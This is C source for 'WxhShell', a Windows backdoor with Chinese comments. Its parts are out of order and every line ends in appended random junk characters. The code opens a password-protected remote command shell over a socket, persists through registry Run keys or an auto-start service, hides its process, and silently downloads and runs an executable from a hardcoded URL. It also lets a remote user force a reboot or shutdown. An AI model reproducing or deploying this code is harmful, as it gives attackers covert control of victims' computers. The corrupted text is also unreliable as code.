    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VL/|tL>E^  
    if(Boot(SHUTDOWN)) mCWhUBghR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BA:yQ  
    else { 2PeR   
    closesocket(wsh); #!$GH_  
    ExitThread(0); `c69 ?/5  
    } K^3co  
    break; zOSs[[  
    } 3"kd jOB  
  // 获取shell 9Li%KOY  
  case 's': { ` iJhG^w9M  
    CmdShell(wsh); fsEzpUY:{W  
    closesocket(wsh); h@@nR(<i  
    ExitThread(0); eXkujjSw"  
    break; Sje wuIi1  
  } JIFU;*PR1  
  // 退出 #CnHf  
  case 'x': { u1~9{"P*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %\kOLE2`  
    CloseIt(wsh); Bcjx>#3?L  
    break; `xc^_781\  
    } 7]BW[~77  
  // 离开 `-\/$M9s=  
  case 'q': { Hi yc#-4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lj"A4i_  
    closesocket(wsh); ;=9 >MS}  
    WSACleanup(); }HG#s4  
    exit(1); "ywh9cp  
    break; i z~ pGkt  
        } /Ux*u#  
  } 0}:2Q#  
  } Y(+^;Y3U  
Rm5Kkzd0o  
  // 提示信息 bO;(bE m@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QeDQ o  
} ?hR7<02  
  } WnH UE  
Y];Ycj;  
  return; 9M /SH$Qy  
} `s]4AKBO  
=rd|0K"(r  
// shell模块句柄 4#(ZNP  
int CmdShell(SOCKET sock) 9~0^PzTA  
{ teW6;O_  
STARTUPINFO si; )%X;^(zKM  
ZeroMemory(&si,sizeof(si)); #$1og=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G|m1.=DJm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {i*2R^5  
PROCESS_INFORMATION ProcessInfo; KZbR3mi,  
char cmdline[]="cmd"; 3loY qeP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ur\qOX|{  
  return 0; 68iV/ 7  
} Nk;iiz+_p  
Y2R\]FrT  
// 自身启动模式 ]O TH"*j  
int StartFromService(void) Fa epDjY8  
{ m3 ^/: <  
typedef struct {3Y )rY!z  
{ BYM3jXWi0v  
  DWORD ExitStatus; R|P_GN6 >  
  DWORD PebBaseAddress; 4<X!<]3]  
  DWORD AffinityMask; |3{&@7  
  DWORD BasePriority; \@~UDP]7  
  ULONG UniqueProcessId; 5 #]4YI;  
  ULONG InheritedFromUniqueProcessId; K?4FT$9G  
}   PROCESS_BASIC_INFORMATION; QJW`}`R  
M|[ZpM+  
PROCNTQSIP NtQueryInformationProcess; W><dYy=z5  
G2#d $  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y=*P 8pg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QR> Y%4 ;h  
D%7kBfCb  
  HANDLE             hProcess; RkuuogZ  
  PROCESS_BASIC_INFORMATION pbi; m7%C#+67  
d"U(`E=H9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #g5^SR|qE  
  if(NULL == hInst ) return 0; o\`>c:.  
+ zkm(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _0pO8o-x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q+a.G2S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qpt&3_   
zTD@  
  if (!NtQueryInformationProcess) return 0; <8 #ObdY!  
r,N[)@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nW+YOX|+  
  if(!hProcess) return 0; up%Z$"Y  
l+y}4 k=/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }E}8_ 8T6  
Y& ] 8 {  
  CloseHandle(hProcess); ?G08NR  
M]HgIL@9#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fvxu >BK  
if(hProcess==NULL) return 0; 8V$3b?]  
L7mz#CMWf  
HMODULE hMod; eX2<}'W<  
char procName[255]; d'l$$%zJ  
unsigned long cbNeeded; 8@M'[jT  
C2<CWPn<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'FzN[% K"  
sl/)|~3!8  
  CloseHandle(hProcess); \m@Y WO?L  
0ZC,BS`D^  
if(strstr(procName,"services")) return 1; // 以服务启动 D6Y6^eS-  
{BO|u{C  
  return 0; // 注册表启动 W3Ulewa  
} b>~RSO*  
XNH4==4  
// 主模块 >!9h6BoGV  
int StartWxhshell(LPSTR lpCmdLine) ;t]|15]u  
{ ?A7Yk4Y.?N  
  SOCKET wsl; c[0oh.  
BOOL val=TRUE; -)<m S  
  int port=0; 2 Y|D'^  
  struct sockaddr_in door; ,vG<*|pn  
:+ ,st&(E  
  if(wscfg.ws_autoins) Install(); nDlO5 pe"d  
IbWPlbH  
port=atoi(lpCmdLine); vN{-?  
`ycU-m==  
if(port<=0) port=wscfg.ws_port; }r2[!gGd%|  
Y5-kj,CB  
  WSADATA data; sIm#_+Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -{9Gagy2&  
|,}E0G.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &-GuKH(Y<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <]8^J}8T{D  
  door.sin_family = AF_INET; ?An,-N-ezf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [U_[</L7  
  door.sin_port = htons(port); 0k?Sq#7q  
k_3j '  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qa}>i&uO  
closesocket(wsl); 74zSP/G'  
return 1; ;o$;Z4:.D  
} MB* u-N0v  
4^O w^7N?  
  if(listen(wsl,2) == INVALID_SOCKET) { bZ# X 9fT  
closesocket(wsl); 'Kis hXOn]  
return 1; aed+C:N  
} lug} Uj  
  Wxhshell(wsl); :HW>9nD.  
  WSACleanup(); WF/l7u#4i  
i<u9:W  
return 0; y3yvZD  
G[q9A$yw  
} { (\(m/!Z  
PZ34*q  
// 以NT服务方式启动 7Qh_8M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?mOg@) wx  
{ <pOl[5v]  
DWORD   status = 0; *fP(6e#G,  
  DWORD   specificError = 0xfffffff; cw+g z!!  
9bn2UiJ k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;,0lUcV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \n@V-b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !"! i i$@  
  serviceStatus.dwWin32ExitCode     = 0; /S/aUvN  
  serviceStatus.dwServiceSpecificExitCode = 0; [A_r1g&_  
  serviceStatus.dwCheckPoint       = 0; oP]L5S&A  
  serviceStatus.dwWaitHint       = 0; ogeRYq,g  
S+FQa7k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G&o64W;-s  
  if (hServiceStatusHandle==0) return; z{6 YC~  
2cjEex:&  
status = GetLastError(); Bn-J_-%M  
  if (status!=NO_ERROR) +a]j[#  
{ uMDtdC8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GEtbs+[  
    serviceStatus.dwCheckPoint       = 0; pAg$oe#  
    serviceStatus.dwWaitHint       = 0; #` +]{4hR  
    serviceStatus.dwWin32ExitCode     = status; bm}+}CJ@#0  
    serviceStatus.dwServiceSpecificExitCode = specificError; H'h#wV`(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q>IH``1*e  
    return; ih!~G5Xi9i  
  } 1#D<ZN  
A7(M,4`6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QUPf *3Oy  
  serviceStatus.dwCheckPoint       = 0; hb! ln7  
  serviceStatus.dwWaitHint       = 0; C*O ,rm}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bpMl =_  
} hrT%XJl  
QSmJ`Bm  
// 处理NT服务事件,比如:启动、停止 `Z8^+AMc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0IFlEe[>#  
{ sJ7sjrEp 1  
switch(fdwControl) </yo9.  
{ lzoeST  
case SERVICE_CONTROL_STOP: VV\Xb31J  
  serviceStatus.dwWin32ExitCode = 0; S*rO0s:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e;;):\p4  
  serviceStatus.dwCheckPoint   = 0; yId;\o B  
  serviceStatus.dwWaitHint     = 0; y.fs,!|%@  
  { 0h:G4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K6(.KEW  
  } qwP$~Bj  
  return; ;[cai MA-  
case SERVICE_CONTROL_PAUSE: 8{@`kyy|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IM$0#2\  
  break; j=Q$K #sBt  
case SERVICE_CONTROL_CONTINUE: od(:Y(4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aG Ef#A  
  break; 3d@ef |  
case SERVICE_CONTROL_INTERROGATE: hA5,w_G/  
  break; w^ U}|h"  
}; !^1[ s@1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d|3o/@k  
} +l.|kkZ?  
` #=fA  
// 标准应用程序主函数 v D&Kae<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lJ'trYaq7  
{ Ym:{Mm=ud  
 s<d!+<  
// 获取操作系统版本 KJ pj  
OsIsNt=GetOsVer(); Y.9~Bo<<r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dh?vU~v(6  
;'hi9L  
  // 从命令行安装 Lxz  
  if(strpbrk(lpCmdLine,"iI")) Install(); wH#-mu#Yl<  
f^u^-l  
  // 下载执行文件 '5V^}/  
if(wscfg.ws_downexe) { +Tp%5+E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v}&#f&q!  
  WinExec(wscfg.ws_filenam,SW_HIDE); W8x[3,gT  
} +/w(K,  
^ePsIl1E  
if(!OsIsNt) { O!yakU+  
// 如果时win9x,隐藏进程并且设置为注册表启动 y]J3h Ks  
HideProc(); \.kTe<.:_  
StartWxhshell(lpCmdLine); }R`Irxv4  
} 2 mSD"[%  
else ^A- sS~w  
  if(StartFromService()) u2\+?`Ox  
  // 以服务方式启动 q%DVDq( z  
  StartServiceCtrlDispatcher(DispatchTable); z2.*#xTZn  
else Oq[i &  
  // 普通方式启动 ot]>}[  
  StartWxhshell(lpCmdLine); xJ N|w\&  
32s5-.{c/f  
return 0; cJSVT8  
} hTDV!B-_(  
(LRNU)vD7$  
{3.*7gnY\L  
B'<!k7Ewy  
=========================================== ^@M [t<  
i^/ eN  
(%6(5,   
lt{lHat1  
Akv(} !g  
qo)Q}0  
" ]bs+:  
<"hb#Tn  
#include <stdio.h> D~5yj&&T;  
#include <string.h> MRjH40" 2  
#include <windows.h> w'!ECm>*`  
#include <winsock2.h> .4H_Zt[2  
#include <winsvc.h> KbXbT  
#include <urlmon.h> <9ePi9D(  
'$n:CNha  
#pragma comment (lib, "Ws2_32.lib") :a#F  
#pragma comment (lib, "urlmon.lib") y>>vGU;  
@>M8Pe  
#define MAX_USER   100 // 最大客户端连接数 ;,<r|.6U  
#define BUF_SOCK   200 // sock buffer kw 6cFz  
#define KEY_BUFF   255 // 输入 buffer gCg4;b6g  
7fap*  
#define REBOOT     0   // 重启 )?F $-~7  
#define SHUTDOWN   1   // 关机 y T[Lzv#  
f<g>dQlE  
#define DEF_PORT   5000 // 监听端口 UN-T ^  
)w Z49>Y  
#define REG_LEN     16   // 注册表键长度 F5<"ktnI  
#define SVC_LEN     80   // NT服务名长度 uo]Hi^r.l  
 KYnW7|*  
// 从dll定义API #S@UTJa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =$^Wkau  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {z.[tvE8h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <^CYxy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H(X+.R,Thp  
z0T`5N G@  
// wxhshell配置信息 X*TuQ\T  
struct WSCFG { "V*kOb&'*Z  
  int ws_port;         // 监听端口 70'} f  
  char ws_passstr[REG_LEN]; // 口令 aSn0o_4bD  
  int ws_autoins;       // 安装标记, 1=yes 0=no (iHf9*i CV  
  char ws_regname[REG_LEN]; // 注册表键名 ?l6>6a7  
  char ws_svcname[REG_LEN]; // 服务名 -s9Y(>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i0,%}{`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g2+l@$W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *Gg1h@&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no di-O*ug  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Aivu%}_|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RnMBGxa  
@m+pr\h(  
}; ]NaMZ  
y3&Tv  
// default Wxhshell configuration c'4>D,?1  
struct WSCFG wscfg={DEF_PORT, @?<N +qdH>  
    "xuhuanlingzhe", mA&RN"+V  
    1, F3k C"H  
    "Wxhshell", S% JNxT7'  
    "Wxhshell", &,W_#l{  
            "WxhShell Service", D}zOuB,S  
    "Wrsky Windows CmdShell Service", gGtep*k  
    "Please Input Your Password: ", YH /S2D  
  1, !Z#_X@NFc  
  "http://www.wrsky.com/wxhshell.exe", D__lqboz  
  "Wxhshell.exe" anHBy SI3  
    }; hKk\Y{wv'  
*23m-  
// 消息定义模块 1_Dn?G^H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7sQ]w   
char *msg_ws_prompt="\n\r? for help\n\r#>"; /Nj:!! AN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a<OCO0irJ  
char *msg_ws_ext="\n\rExit."; S1}1"y/  
char *msg_ws_end="\n\rQuit."; qPFG+~\c  
char *msg_ws_boot="\n\rReboot..."; *k3 d^9o#  
char *msg_ws_poff="\n\rShutdown..."; B(4:_ j\2  
char *msg_ws_down="\n\rSave to "; Z]mM  
/E`l:&89)  
char *msg_ws_err="\n\rErr!"; l%sp[uqcg  
char *msg_ws_ok="\n\rOK!"; {ED(O -W  
5]4<!m  
char ExeFile[MAX_PATH]; s`8M%ZLu  
int nUser = 0; 6 . +[ z  
HANDLE handles[MAX_USER]; 2+T8Y,g  
int OsIsNt; n:5O9,umZ  
?=;e.qK=71  
SERVICE_STATUS       serviceStatus; es.\e.HK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,cGwtt(  
,Az`6PW  
// 函数声明 Rxvd+8FF  
int Install(void); Ft%TnEp  
int Uninstall(void); T+AlcOP  
int DownloadFile(char *sURL, SOCKET wsh); veYsctK~  
int Boot(int flag); 4b3F9  
void HideProc(void); W2r6jm!  
int GetOsVer(void); QrNL7{  
int Wxhshell(SOCKET wsl); L|]w3}ZT@  
void TalkWithClient(void *cs); nLFx/5sL  
int CmdShell(SOCKET sock); H6%!v1 u  
int StartFromService(void); R,d70w (_  
int StartWxhshell(LPSTR lpCmdLine); %=NM_5a}]  
T3u5al  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j61BP8E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M `9orq<  
>D`fp  
// 数据结构和表定义 "Cyo<|  
SERVICE_TABLE_ENTRY DispatchTable[] = E6k?+i w  
{ 'f=)pc#&g  
{wscfg.ws_svcname, NTServiceMain}, Ckl7rpY+  
{NULL, NULL} jm#d7@~4  
}; V7B=+(xK  
H0D>A<Ue  
// 自我安装 #.\,y>`  
int Install(void) [p( #WM:  
{ AhbT/  
  char svExeFile[MAX_PATH]; ADLa.{  
  HKEY key;  qrkRD*a  
  strcpy(svExeFile,ExeFile); 9I`Mm}v@  
Wvut)T  
// 如果是win9x系统,修改注册表设为自启动 'K;4102\  
if(!OsIsNt) { |l6<GWG+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O]Ry3j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5O;a/q8"  
  RegCloseKey(key); uh C=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ww'TCWk@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xu%! b0  
  RegCloseKey(key); [}9XHhY1O=  
  return 0; +2;#9aa I  
    } YmO"EWb  
  } 7U{b+=,wK  
} i">z8?qF  
else { hVT=j ?~  
DSDl[;3O{s  
// 如果是NT以上系统,安装为系统服务 D<_,>{$gW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }QWTPRn  
if (schSCManager!=0) RKo P6LGw  
{ :{wsd$Qlj  
  SC_HANDLE schService = CreateService 0XQ".:+h  
  ( I9*BENkR  
  schSCManager, s_ GK;;  
  wscfg.ws_svcname, BuEQ^[Ex  
  wscfg.ws_svcdisp, @R'g@+{I  
  SERVICE_ALL_ACCESS, 9U}MXY0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mk'n~.mb  
  SERVICE_AUTO_START, \c9t]py<.h  
  SERVICE_ERROR_NORMAL, 86^ZYh  
  svExeFile, ]df9'\  
  NULL, j?f,~Y<k  
  NULL, g6@NPQ  
  NULL, ~/|unV  
  NULL, 80s~ae;  
  NULL /SPAJHh  
  ); 3I>S:|=K  
  if (schService!=0) ^7~SS2t!  
  { _Y ><ih  
  CloseServiceHandle(schService); <PfPh~  
  CloseServiceHandle(schSCManager); CYFas:rPLT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); < ;%q  
  strcat(svExeFile,wscfg.ws_svcname); !0. 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pzt Zb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); px [1#*  
  RegCloseKey(key); G7/?hky 0.  
  return 0; /SqFP L]  
    } M|Dwk3#  
  } cT>z  
  CloseServiceHandle(schSCManager); S,`Sq8H  
} q*RaX 4V  
} ltr;pc*)  
F"m}mf  
return 1; 3f:1D=f  
} y1\^v_.^  
hBfzU\*0H  
// 自我卸载 B GEJiLH  
int Uninstall(void) c>U{,z  
{ G7_"^r%c9;  
  HKEY key; wWOT*R_  
2ucF( ^  
if(!OsIsNt) { j3rv2W\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -EkDG]my  
  RegDeleteValue(key,wscfg.ws_regname); ,a]~hNR*X  
  RegCloseKey(key); g]iy-,e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y%CL@G60  
  RegDeleteValue(key,wscfg.ws_regname); 5>1Y="B  
  RegCloseKey(key); /H;kYx  
  return 0; P7>C4rmQ  
  } Za:BJ:  
} 4na4Jsq{  
} #o"HD6e  
else { TJw.e/  
Pu%>j'A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L1Cn  
if (schSCManager!=0) +{Jf]"KD  
{ tls6rto  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0ZID @^  
  if (schService!=0) XM@-Y&c$A  
  { .f92^lu9  
  if(DeleteService(schService)!=0) { }_kI>  
  CloseServiceHandle(schService); /<?X-IDz.{  
  CloseServiceHandle(schSCManager); m"|(w`n]E+  
  return 0; 2`FsG/o\T~  
  } d T,m{[+  
  CloseServiceHandle(schService); (fGJP*YO  
  } P"PeL B9K  
  CloseServiceHandle(schSCManager); K_lL\  
} Wse*gO  
} Znh uIA AG  
KEVy%AP=*h  
return 1; rd 35)  
} RkH oT^  
f\F_?s)_y  
// 从指定url下载文件 5.K$ X$+7}  
int DownloadFile(char *sURL, SOCKET wsh) ETWmeMN  
{ #PLB$$  
  HRESULT hr; a4a[pX,5  
char seps[]= "/"; m/F(h-?  
char *token; Zz)oMw  
char *file; \I,Dje/:w  
char myURL[MAX_PATH]; NX{-D}1X=  
char myFILE[MAX_PATH]; }Mb'tGW  
_F|_C5A  
strcpy(myURL,sURL); p4t!T=o/  
  token=strtok(myURL,seps); ^a#&wW  
  while(token!=NULL) KlqJ EtO_  
  { @8M2'R\  
    file=token; VF!kr1n!  
  token=strtok(NULL,seps); ^1Zq0  
  } O->(9k<  
'ZZ WH  
GetCurrentDirectory(MAX_PATH,myFILE); vkd<l&zD  
strcat(myFILE, "\\"); RAuAIiQ  
strcat(myFILE, file); K9N0kBJ0<  
  send(wsh,myFILE,strlen(myFILE),0); >->xhlL*  
send(wsh,"...",3,0); >*i8RqU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #2vG_B<M)  
  if(hr==S_OK) HAUTCX  
return 0; -IsdU7}  
else (zYSSf!I  
return 1; ]S2[eS  
gS<{ekN  
} pS@VLXZP  
gK#fuQ$hH  
// 系统电源模块 Jgv>$u  
int Boot(int flag) - 2na::<K  
{ bZ22O"F  
  HANDLE hToken; BM$tywC  
  TOKEN_PRIVILEGES tkp; , a_{ Y+  
H.mQbD`X  
  if(OsIsNt) { xE-`Bb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6k=Wt7C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;Y XrG  
    tkp.PrivilegeCount = 1; {6y.%ysU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [[r3fEr$!p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j!_^5d#d  
if(flag==REBOOT) { KsU&<eQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  q>.t~  
  return 0; TYS\:ZdXF  
} HYYx*CJ)  
else { [#rdfN'?U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K84cE  
  return 0; H6CGc0NS+  
} qH$rvD!]  
  } ?Nze P?g  
  else { .L{+O6*c  
if(flag==REBOOT) { nIKT w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dVtLYx  
  return 0; M^Ay,jK!  
} 2l/5i]Tq  
else { Sfa m=.l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C\ >Mt  
  return 0; 3k[<4-  
} -5_xI)i  
} 2gR_1*|  
+:Q/<^Z  
return 1; 1;~1U9V  
} M j%|'dZz  
1z@# 8_@  
// win9x进程隐藏模块 W]Tt8  
void HideProc(void) XoQk'7"f  
{ -L50kk>h  
P<JkRX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e}yu<~v_  
  if ( hKernel != NULL ) }xlmsOHuI  
  {  D6!+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;OCI.S8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Odjd`DD1  
    FreeLibrary(hKernel); Bsk2&17z  
  } o^"3C1j  
0?;Hmq3  
return; [T#a1!  
} xI\s9_"Qy  
Fl3r!a!P,  
// 获取操作系统版本 d47:2Zj  
int GetOsVer(void) QV7c9)<]'}  
{ o@`E.4  
  OSVERSIONINFO winfo; _@;3$eB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XoiYtx53  
  GetVersionEx(&winfo); /F}\V ^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?CZD^>6  
  return 1; 8 ]MzOGB8  
  else NITx;iC  
  return 0; z'D{:q  
} Qbpl$L  
jh](s U  
// 客户端句柄模块 e^_@^(||!6  
int Wxhshell(SOCKET wsl) jz7ltoP  
{ L[r0UXYLV  
  SOCKET wsh; r<"/P`r  
  struct sockaddr_in client; .EZ{d  
  DWORD myID; ^?xJpr%)  
,fJ(.KI0  
  while(nUser<MAX_USER) qFChZ+3>  
{ (Tb0PzA  
  int nSize=sizeof(client); q/-j`'A_pb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q~!hr0 ZR  
  if(wsh==INVALID_SOCKET) return 1; %FFm[[nxI  
b!~%a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hg=G//  
if(handles[nUser]==0) _rVX_   
  closesocket(wsh); lBZ*G  
else )t|Q7$ v1  
  nUser++; >d V@9  
  } KY&,(z   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KrG6z#)Uz  
!:[n3.vm   
  return 0; =>%%]0  
} <7] Y\{+  
>:E-^t%  
// 关闭 socket 'c{]#E1}  
void CloseIt(SOCKET wsh) [F{a-i-  
{ iB`]Z@ZC  
closesocket(wsh); 8%f! X51  
nUser--; #%tL8/K*  
ExitThread(0); !Y(qpC:$  
} F+S#m3X  
3Dvk oV  
// 客户端请求句柄 !sQ8,l0h  
void TalkWithClient(void *cs) =U`c }dhS  
{ yP]W\W'  
T-i]O*u  
  SOCKET wsh=(SOCKET)cs; J c^ozw  
  char pwd[SVC_LEN]; 4!%LD(jB`B  
  char cmd[KEY_BUFF]; *sVxjZvV  
char chr[1]; q#-H+7 5  
int i,j; Lf M(DK  
=JH,RQ *  
  while (nUser < MAX_USER) { 'p]qN;`'O$  
)pa|uH +N  
if(wscfg.ws_passstr) { 1*b%C"C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gRI|rDC)B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nDw9  
  //ZeroMemory(pwd,KEY_BUFF); VSFl9/5?  
      i=0; %y+j~]^:  
  while(i<SVC_LEN) { v"_#.!V  
x:lf=D lA  
  // 设置超时 /*HSAjv  
  fd_set FdRead; jzMGRN/67  
  struct timeval TimeOut; dL)5~V8s  
  FD_ZERO(&FdRead); XX6)(  
  FD_SET(wsh,&FdRead); f+AIxSw  
  TimeOut.tv_sec=8; I!'(>VlP7  
  TimeOut.tv_usec=0; n(VMGCZPV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iO`f{?b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '8 #*U  
ohk =7d.'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U6PUt'Kk@  
  pwd=chr[0]; DR8dJ#  
  if(chr[0]==0xd || chr[0]==0xa) { J?$uNlI  
  pwd=0; QLl44*@  
  break; <{kj}nxz  
  } TA7w:<  
  i++; S/jHyJ,  
    } k{62UaL.  
R8*4E0\br  
  // 如果是非法用户,关闭 socket XWV~6"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ljmHX2p  
} 8/v_uEG  
!<ucwWY,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b\mN^P~>A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j)Gr@F>  
AWcP OU  
while(1) { (@9}FHJzi  
 tvILLR  
  ZeroMemory(cmd,KEY_BUFF); a8TE  
eO#)QoHj^  
      // 自动支持客户端 telnet标准   `mVH94{+I  
  j=0; [$X(i|6  
  while(j<KEY_BUFF) { u c8>B&B%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &(0);I@fc  
  cmd[j]=chr[0]; q~C6+  
  if(chr[0]==0xa || chr[0]==0xd) { QKxu vW  
  cmd[j]=0; up6LO7drW/  
  break; 9AaixI  
  } **"sru;@=  
  j++; @P/{x@J  
    } $[e*0!e  
Sob+l'U$  
  // 下载文件 O.!?O(  
  if(strstr(cmd,"http://")) { ( ;q$cKy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %' Fc%3  
  if(DownloadFile(cmd,wsh)) +8"H%#~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]up:pddIh  
  else WqAP'x 1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iC">F.9#  
  } gi8kYHldH  
  else { WA+v&* ]  
uG<+IT|x  
    switch(cmd[0]) { k5 8lmuU  
